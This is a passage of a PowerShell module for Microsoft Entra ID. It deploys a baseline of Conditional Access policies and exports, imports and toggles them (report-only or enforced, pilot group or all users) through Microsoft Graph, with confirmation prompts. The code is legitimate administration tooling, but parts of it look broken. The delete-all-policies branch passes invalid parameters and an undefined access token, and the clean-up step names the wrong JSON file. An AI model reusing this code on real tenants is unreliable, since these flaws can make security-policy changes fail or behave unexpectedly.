Blog: https://danielchronlund.com/ + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC -AddCustomPrefix 'PILOT - ' + + .EXAMPLE + # Customize names of dependencies. + $Parameters = @{ + ExcludeGroupDisplayName = 'Excluded from Conditional Access' + ServiceAccountGroupDisplayName = 'Conditional Access Service Accounts' + NamedLocationCorpNetwork = 'Corporate Network' + NamedLocationAllowedCountries = 'Allowed Countries' + TermsOfUseName = 'Terms of Use' + } + + Deploy-DCConditionalAccessBaselinePoC @Parameters + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC -SkipPolicies "GLOBAL - BLOCK - High-Risk Sign-Ins", "GLOBAL - BLOCK - High-Risk Users", "GLOBAL - GRANT - Medium-Risk Sign-Ins", "GLOBAL - GRANT - Medium-Risk Users" + + .EXAMPLE + Deploy-DCConditionalAccessBaselinePoC -SkipReportOnlyMode # WARNING: USE WITH CAUTION! + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$AddCustomPrefix = '', + + [parameter(Mandatory = $false)] + [string]$ExcludeGroupDisplayName = 'Excluded from Conditional Access', + + [parameter(Mandatory = $false)] + [string]$ServiceAccountGroupDisplayName = 'Conditional Access Service Accounts', + + [parameter(Mandatory = $false)] + [string]$NamedLocationCorpNetwork = 'Corporate Network', + + [parameter(Mandatory = $false)] + [string]$NamedLocationAllowedCountries = 'Allowed Countries', + + [parameter(Mandatory = $false)] + [string]$TermsOfUseName = 'Terms of Use', + + [parameter(Mandatory = $false)] + [string[]]$SkipPolicies, + + [parameter(Mandatory = $false)] + [switch]$SkipReportOnlyMode + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Group.ReadWrite.All', 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All', 'Agreement.ReadWrite.All', 'Application.Read.All', 'RoleManagement.ReadWrite.Directory' -Verbose + + + # Prompt for confirmation: + if ($SkipReportOnlyMode) { + $title = 'Confirm' + $question = "Do you want to deploy the Conditional Access baseline PoC (production mode) in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL POLICIES will go live for ALL USERS! Remove -SkipReportOnlyMode to deploy in report-only mode instead." + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + else { + $title = 'Confirm' + $question = "Do you want to deploy the Conditional Access baseline PoC (report-only) in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 0) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + + + # Step 2: Manage Conditional Access exclude group for break glass accounts. + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing exclude group '$ExcludeGroupDisplayName'..." + $ExistingExcludeGroup = Get-MgGroup -Filter "DisplayName eq '$ExcludeGroupDisplayName'" -Top 1 + + if ($ExistingExcludeGroup) { + Write-Verbose -Verbose -Message "The group '$ExcludeGroupDisplayName' already exists!" + } + else { + # Create group if none existed. + Write-Verbose -Verbose -Message "Could not find '$ExcludeGroupDisplayName'. Creating group..." + $ExistingExcludeGroup = New-MgGroup -DisplayName $ExcludeGroupDisplayName -MailNickName $($ExcludeGroupDisplayName.Replace(' ', '_')) -MailEnabled:$False -SecurityEnable -IsAssignableToRole + + # Sleep for 5 seconds. + Start-Sleep -Seconds 5 + + # Add current user to the new exclude group. + $CurrentUser = Get-MgUser -Filter "UserPrincipalName eq '$((Get-MgContext).Account)'" + Write-Verbose -Verbose -Message "Adding current user '$($CurrentUser.UserPrincipalName)' to the new group..." + New-MgGroupMember -GroupId $ExistingExcludeGroup.Id -DirectoryObjectId $CurrentUser.Id + } + + + # Step 3: Manage Conditional Access service account group (for non-human accounts). + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing service account group '$ServiceAccountGroupDisplayName'..." + $ExistingServiceAccountGroup = Get-MgGroup -Filter "DisplayName eq '$ServiceAccountGroupDisplayName'" -Top 1 + + if ($ExistingServiceAccountGroup) { + Write-Verbose -Verbose -Message "The group '$ServiceAccountGroupDisplayName' already exists!" + } + else { + # Create group if none existed. + Write-Verbose -Verbose -Message "Could not find '$ServiceAccountGroupDisplayName'. Creating group..." + $ExistingServiceAccountGroup = New-MgGroup -DisplayName $ServiceAccountGroupDisplayName -MailNickName $($ServiceAccountGroupDisplayName.Replace(' ', '_')) -MailEnabled:$False -SecurityEnable -IsAssignableToRole + } + + + # Step 4: Manage named location for corporate network trusted IP addresses. + + # Check for existing named location. + Write-Verbose -Verbose -Message "Checking for existing corporate network named location '$NamedLocationCorpNetwork'..." + $ExistingCorpNetworkNamedLocation = Get-MgIdentityConditionalAccessNamedLocation -Filter "DisplayName eq '$NamedLocationCorpNetwork'" -Top 1 + + if ($ExistingCorpNetworkNamedLocation) { + Write-Verbose -Verbose -Message "The named location '$NamedLocationCorpNetwork' already exists!" + } + else { + # Create named location if none existed. + Write-Verbose -Verbose -Message "Could not find '$NamedLocationCorpNetwork'. Creating named location..." + + # Get current public IP address: + $PublicIp = (Get-DCPublicIp).ip + + $params = @{ + "@odata.type" = "#microsoft.graph.ipNamedLocation" + DisplayName = "$NamedLocationCorpNetwork" + IsTrusted = $true + IpRanges = @( + @{ + "@odata.type" = "#microsoft.graph.iPv4CidrRange" + CidrAddress = "$PublicIp/32" + } + ) + } + + $ExistingCorpNetworkNamedLocation = New-MgIdentityConditionalAccessNamedLocation -BodyParameter $params + } + + + # Step 5: Manage named location for allowed countries. + + # Check for existing named location. + Write-Verbose -Verbose -Message "Checking for existing allowed countries named location '$NamedLocationAllowedCountries'..." + $ExistingNamedLocationAllowedCountries = Get-MgIdentityConditionalAccessNamedLocation -Filter "DisplayName eq '$NamedLocationAllowedCountries'" -Top 1 + + if ($ExistingNamedLocationAllowedCountries) { + Write-Verbose -Verbose -Message "The named location '$NamedLocationAllowedCountries' already exists!" + } + else { + # Create named location if none existed. + Write-Verbose -Verbose -Message "Could not find '$NamedLocationAllowedCountries'. Creating named location..." + + $params = @{ + "@odata.type" = "#microsoft.graph.countryNamedLocation" + DisplayName = "$NamedLocationAllowedCountries" + CountriesAndRegions = @( + "SE" + "US" + ) + IncludeUnknownCountriesAndRegions = $true + } + + $ExistingNamedLocationAllowedCountries = New-MgIdentityConditionalAccessNamedLocation -BodyParameter $params + } + + + # Step 6: Manage Terms of Use. + + # Check for existing Terms of Use. + if ($SkipPolicies -eq 'GLOBAL - 204 - GRANT - Terms of Use') { + Write-Verbose -Verbose -Message "Skipping Terms of Use because -SkipPolicies was set!" + } + else { + Write-Verbose -Verbose -Message "Checking for existing Terms of Use '$TermsOfUseName'..." + $ExistingTermsOfUse = Get-MgAgreement | where DisplayName -eq $TermsOfUseName | Select-Object -Last 1 + + if ($ExistingTermsOfUse) { + Write-Verbose -Verbose -Message "The Terms of Use '$TermsOfUseName' already exists!" + } + else { + # Create Terms of Use if none existed. + Write-Verbose -Verbose -Message "Could not find '$TermsOfUseName'. Creating Terms of Use..." + + # Download Terms of Use template from https://danielchronlund.com. + Write-Verbose -Verbose -Message "Downloading Terms of Use template from https://danielchronlund.com..." + Invoke-WebRequest 'https://danielchronlundcloudtechblog.files.wordpress.com/2023/09/termsofuse.pdf' -OutFile 'termsofuse.pdf' + + $fileContent = get-content -Raw 'termsofuse.pdf' + $fileContentBytes = [System.Text.Encoding]::Default.GetBytes($fileContent) + $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) + + $GraphBody = @" +{ + "displayName": "Terms of Use", + "isViewingBeforeAcceptanceRequired": true, + "files": [ + { + "fileName": "termsofuse.pdf", + "language": "en", + "isDefault": true, + "fileData": { + "data": "$fileContentEncoded" + } + } + ] +} +"@ + + Write-Verbose -Verbose -Message "Uploading template to Entra ID..." + + $ExistingTermsOfUse = Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/v1.0/identityGovernance/termsOfUse/agreements' -Body $GraphBody + } + } + + + # Step 7: Download Conditional Access baseline in JSON format from https://danielchronlund.com. + + Write-Verbose -Verbose -Message "Downloading Conditional Access baseline template from https://danielchronlund.com..." + Invoke-WebRequest 'https://danielchronlundcloudtechblog.files.wordpress.com/2024/03/conditional-access-design-version-14-poc.zip' -OutFile 'conditional-access-design-version-14-poc.zip' + + Write-Verbose -Verbose -Message "Unziping template..." + Expand-Archive -LiteralPath 'conditional-access-design-version-14-poc.zip' -DestinationPath . -Force + + + # Step 8: Modify JSON content. + + $JSONContent = Get-Content -Raw -Path 'conditional-access-design-version-14.json' + + # Report-only mode. + if (!($SkipReportOnlyMode)) { + $JSONContent = $JSONContent -replace '"enabled"', '"enabledForReportingButNotEnforced"' + } + else { + $JSONContent = $JSONContent -replace '"disabled"', '"enabled"' + } + + $JSONContent = $JSONContent -replace 'GLOBAL - ', "$AddCustomPrefix`GLOBAL - " + $JSONContent = $JSONContent -replace 'OVERRIDE - ', "$AddCustomPrefix`OVERRIDE - " + $JSONContent = $JSONContent -replace 'REPLACE WITH EXCLUDE GROUP ID', $ExistingExcludeGroup.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH SERVICE ACCOUNT GROUP ID', $ExistingServiceAccountGroup.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH SERVICE ACCOUNT TRUSTED NAMED LOCATION ID', $ExistingCorpNetworkNamedLocation.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH ALLOWED COUNTRIES NAMED LOCATION ID', $ExistingNamedLocationAllowedCountries.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH TERMS OF USE ID', $ExistingTermsOfUse.Id + + + # Step 9: Deploy Conditional Access baseline. + + Write-Verbose -Verbose -Message "Deploying Conditional Access policies..." + + $ConditionalAccessPolicies = $JSONContent | ConvertFrom-Json + + foreach ($Policy in $ConditionalAccessPolicies) { + if ($SkipPolicies -contains $Policy.DisplayName) { + Write-Verbose -Verbose -Message "Skipping '$($Policy.DisplayName)'!" + } + else { + Start-Sleep -Seconds 1 + Write-Verbose -Verbose -Message "Creating '$($Policy.DisplayName)'..." + + try { + # Create new policies. + Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' -Body ($Policy | ConvertTo-Json -Depth 10) | Out-Null + } + catch { + Write-Error -Message $_.Exception.Message -ErrorAction Continue + } + } + } + + + # Step 10: Clean-up. + + Write-Verbose -Verbose -Message "Performing clean-up..." + + Remove-Item 'Conditional Access Design version 14 PoC.json' -Force -ErrorAction SilentlyContinue + Remove-Item 'conditional-access-design-version-14-poc.zip' -Force -ErrorAction SilentlyContinue + Remove-Item 'termsofuse.pdf' -Force -ErrorAction SilentlyContinue + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Export-DCConditionalAccessPolicyDesign { + <# + .SYNOPSIS + Export all Conditional Access policies to JSON. + + .DESCRIPTION + This CMDlet uses Microsoft Graph to export all Conditional Access policies in the tenant to a JSON file. This JSON file can be used for backup, documentation or to deploy the same policies again with Import-DCConditionalAccessPolicyDesign. You can basically treat Conditional Access as code! + + The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + + .PARAMETER FilePath + The file path where the new JSON file will be created. Skip this to use the current path. + + .PARAMETER PrefixFilter + Only export the policies with this prefix. + + .INPUTS + None + + .OUTPUTS + JSON file with all Conditional Access policies. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Export-DCConditionalAccessPolicyDesign + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + } + Export-DCConditionalAccessPolicyDesign @Parameters + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + PrefixFilter = 'GLOBAL - ' + } + Export-DCConditionalAccessPolicyDesign @Parameters + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$FilePath = "$((Get-Location).Path)\Conditional Access Backup $(Get-Date -Format 'yyyy-MM-dd').json", + + [parameter(Mandatory = $false)] + [string]$PrefixFilter + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Show filter settings. + if ($PrefixFilter) { + Write-Verbose -Verbose -Message "Prefix filter was set and only policies beginning with '$PrefixFilter' will be exported!" + } + + + # Export all Conditional Access policies from Microsoft Graph as JSON. + Write-Verbose -Verbose -Message "Exporting Conditional Access policies to '$FilePath'..." + + $ConditionalAccessPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + $Result = foreach ($Policy in $ConditionalAccessPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + Write-Verbose -Verbose -Message "Exporting $($Policy.DisplayName)..." + + $Policy.Id = 'REMOVETHISLINE' + + if ($Policy.GrantControls.authenticationStrength) { + $params = @{ + id = [string]$Policy.GrantControls.authenticationStrength.id + } + + $Policy.GrantControls.authenticationStrength = $params + } + + $Policy + } + } + + $Result | ConvertTo-Json -Depth 10 | Out-File -Force:$true -FilePath $FilePath + + + # Perform some clean up in the JSON file. + $CleanUp = Get-Content $FilePath | Select-String -Pattern '"REMOVETHISLINE"', '"createdDateTime":', '"modifiedDateTime":', 'authenticationStrength@odata.context' -NotMatch + + $CleanUp | Out-File -Force:$true -FilePath $FilePath + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Import-DCConditionalAccessPolicyDesign { + <# + .SYNOPSIS + Import Conditional Access policies from JSON. + + .DESCRIPTION + This CMDlet uses Microsoft Graph to automatically create Conditional Access policies from a JSON file. + + The JSON file can be created from existing policies with Export-DCConditionalAccessPolicyDesign or manually by following the syntax described in the Microsoft Graph documentation: + https://docs.microsoft.com/en-us/graph/api/resources/conditionalaccesspolicy?view=graph-rest-1.0 + + All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use the -SkipReportOnlyMode override. + + WARNING: If you want to, you can also delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with caution and always create a backup with Export-DCConditionalAccessPolicyDesign first! + + The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + + As a best practice you should always have an Entra ID security group with break glass accounts excluded from all Conditional Access policies. + + .PARAMETER FilePath + The file path of the JSON file containing your Conditional Access policies. + + .PARAMETER SkipReportOnlyMode + All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. + + .PARAMETER DeleteAllExistingPolicies + WARNING: If you want to, you can delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with causon and allways create a backup with Export-DCConditionalAccessPolicyDesign first!! + + .PARAMETER AddCustomPrefix + Adds a custom prefix to all policy names. + + .PARAMETER PrefixFilter + Only import (and delete) the policies with this prefix in the JSON file. + + .INPUTS + JSON file containing your Conditional Access policies. + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + } + + Import-DCConditionalAccessPolicyDesign @Parameters + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + AddCustomPrefix = 'PILOT - ' + } + + Import-DCConditionalAccessPolicyDesign @Parameters + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $true + DeleteAllExistingPolicies = $true + PrefixFilter = 'GLOBAL - ' + } + + Import-DCConditionalAccessPolicyDesign @Parameters + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$FilePath, + + [parameter(Mandatory = $false)] + [switch]$SkipReportOnlyMode, + + [parameter(Mandatory = $false)] + [switch]$DeleteAllExistingPolicies, + + [parameter(Mandatory = $false)] + [string]$AddCustomPrefix = '', + + [parameter(Mandatory = $false)] + [string]$PrefixFilter + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Prompt for confirmation: + if ($SkipReportOnlyMode) { + $title = 'Confirm' + $question = "Do you want to import the Conditional Access policies from JSON file '$FilePath' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL POLICIES will go live for ALL USERS! Remove -SkipReportOnlyMode to deploy in report-only mode instead." + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + else { + $title = 'Confirm' + $question = "Do you want to import the Conditional Access policies from JSON file '$FilePath' in report-only mode in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 0) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + + + # Show filter settings. + if ($PrefixFilter) { + Write-Verbose -Verbose -Message "Prefix filter was set and only policies beginning with '$PrefixFilter' will be affected!" + } + + + # Import policies from JSON file. + Write-Verbose -Verbose -Message "Importing JSON from '$FilePath'..." + $ConditionalAccessPolicies = Get-Content -Raw -Path $FilePath + + + # Modify enabled policies to report-only if not skipped with -SkipReportOnlyMode. + if (!($SkipReportOnlyMode)) { + Write-Verbose -Verbose -Message "Setting new policies to report-only mode..." + $ConditionalAccessPolicies = $ConditionalAccessPolicies -replace '"enabled"', '"enabledForReportingButNotEnforced"' + } + + + # Add prefix. + $ConditionalAccessPolicies = $ConditionalAccessPolicies -replace '"displayName": "', """displayName"": ""$AddCustomPrefix" + + + # Delete all existing policies if -DeleteAllExistingPolicies is specified. + if ($DeleteAllExistingPolicies) { + Write-Verbose -Verbose -Message "Deleting existing Conditional Access policies..." + $GraphUri = 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' + $ExistingPolicies = Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction SilentlyContinue + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.displayName.StartsWith($PrefixFilter)) { + Start-Sleep -Seconds 1 + $GraphUri = "https://graph.microsoft.com/beta/identity/conditionalAccess/policies/$($Policy.id)" + + Invoke-MgGraphRequest -AccessToken $AccessToken -GraphMethod 'DELETE' -GraphUri $GraphUri -ErrorAction SilentlyContinue | Out-Null + } + } + } + + + $ConditionalAccessPolicies = $ConditionalAccessPolicies | ConvertFrom-Json + + foreach ($Policy in $ConditionalAccessPolicies) { + if ($Policy.displayName.StartsWith($PrefixFilter)) { + Start-Sleep -Seconds 1 + Write-Verbose -Verbose -Message "Creating '$($Policy.DisplayName)'..." + + try { + # Create new policies. + Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' -Body ($Policy | ConvertTo-Json -Depth 10) | Out-Null + } + catch { + Write-Error -Message $_.Exception.Message -ErrorAction Continue + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Set-DCConditionalAccessPoliciesPilotMode { + <# + .SYNOPSIS + Toggles Conditional Access policies between 'All users' and a specified pilot group. + + .DESCRIPTION + This command helps you to quickly toggle you Conditional Access policies between a pilot and production. It does this by switching policies targeting a specified pilot group and 'All users'. + + It is common to use a dedicated Entra ID security group to target specific pilot users during a Conditional Access deployment project. When the pilot is completed you want to move away from that pilot group and target 'All users' in the organization instead (at least with your global baseline). + + You must filter the toggle with a prefix filter to only modify specific policies. Use a prefix like "GLOBAL -" or "PILOT -" for easy bulk management. This is a built-in safety measure. + + .PARAMETER PrefixFilter + Only toggle the policies with this prefix. + + .PARAMETER PilotGroupName + The name of your pilot group in Entra ID (must be a security group for users). + + .PARAMETER EnablePilot + Modify all specified Conditional Access policies to target your pilot group. + + .PARAMETER EnableProduction + Modify all specified Conditional Access policies to target 'All users'. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnablePilot + + .EXAMPLE + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnableProduction + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$PrefixFilter, + + [parameter(Mandatory = $true)] + [string]$PilotGroupName, + + [parameter(Mandatory = $false)] + [switch]$EnablePilot, + + [parameter(Mandatory = $false)] + [switch]$EnableProduction + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Parameter check: + if ($EnablePilot -and $EnableProduction) { + Write-Error -Message 'You can''t use -EnablePilot and -EnableProduction at the same time!' + return + } + elseif (!($EnablePilot) -and !($EnableProduction)) { + Write-Error -Message 'You must use -EnablePilot or -EnableProduction!' + return + } + + + if ($EnableProduction) { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from pilot group '$PilotGroupName' to 'All users'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from 'All users' to pilot group '$PilotGroupName'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing pilot group '$PilotGroupName'..." + $ExistingPilotGroup = Get-MgGroup -Filter "DisplayName eq '$PilotGroupName'" -Top 1 + + if ($ExistingPilotGroup) { + Write-Verbose -Verbose -Message "Found group '$PilotGroupName'!" + } + else { + Write-Error -Message "Could not find group '$PilotGroupName'!" + return + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to toggle..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + + if ($EnableProduction) { + if ($Policy.Conditions.Users.IncludeGroups -contains $ExistingPilotGroup.Id) { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to 'All users'..." + + # Toggle policy: + $params = @{ + Conditions = @{ + Users = @{ + IncludeUsers = @( + "All" + ) + } + } + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + elseif ($EnablePilot) { + if ($Policy.Conditions.Users.IncludeUsers -eq 'All') { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to pilot group..." + + # Toggle policy: + $params = @{ + Conditions = @{ + Users = @{ + IncludeUsers = @( + "None" + ) + IncludeGroups = @( + "$($ExistingPilotGroup.Id)" + ) + } + } + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Set-DCConditionalAccessPoliciesReportOnlyMode { + <# + .SYNOPSIS + Toggles Conditional Access policies between 'Report-only' and Enabled. + + .DESCRIPTION + This command helps you to quickly toggle you Conditional Access policies between Report-only and Enabled. + + If will skip any policies in Disabled state. + + You must filter the toggle with a prefix filter to only modify specific policies. This is a built-in safety measure. + + .PARAMETER PrefixFilter + Only toggle the policies with this prefix. + + .PARAMETER SetToReportOnly + Modify all specified Conditional Access policies to report-only. + + .PARAMETER SetToEnabled + Modify all specified Conditional Access policies to Enabled. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToReportOnly + + .EXAMPLE + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToEnabled + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$PrefixFilter, + + [parameter(Mandatory = $false)] + [switch]$SetToReportOnly, + + [parameter(Mandatory = $false)] + [switch]$SetToEnabled + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Parameter check: + if ($SetToReportOnly -and $SetToEnabled) { + Write-Error -Message 'You can''t use -SetToReportOnly and -SetToEnabled at the same time!' + return + } + elseif (!($SetToReportOnly) -and !($SetToEnabled)) { + Write-Error -Message 'You must use -SetToReportOnly or -SetToEnabled!' + return + } + + + if ($SetToEnabled) { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from Report-only to Enabled?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from Enabled to Report-only?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to toggle..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + + if ($SetToEnabled) { + if ($Policy.State -eq 'enabledForReportingButNotEnforced') { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to Enabled..." + + # Toggle policy: + $params = @{ + State = "enabled" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + elseif ($SetToReportOnly) { + if ($Policy.State -eq 'Enabled') { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to Report-only..." + + # Toggle policy: + $params = @{ + State = "enabledForReportingButNotEnforced" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Add-DCConditionalAccessPoliciesBreakGlassGroup { + <# + .SYNOPSIS + Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + + .DESCRIPTION + Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + + Please create the group and add your break glass accounts 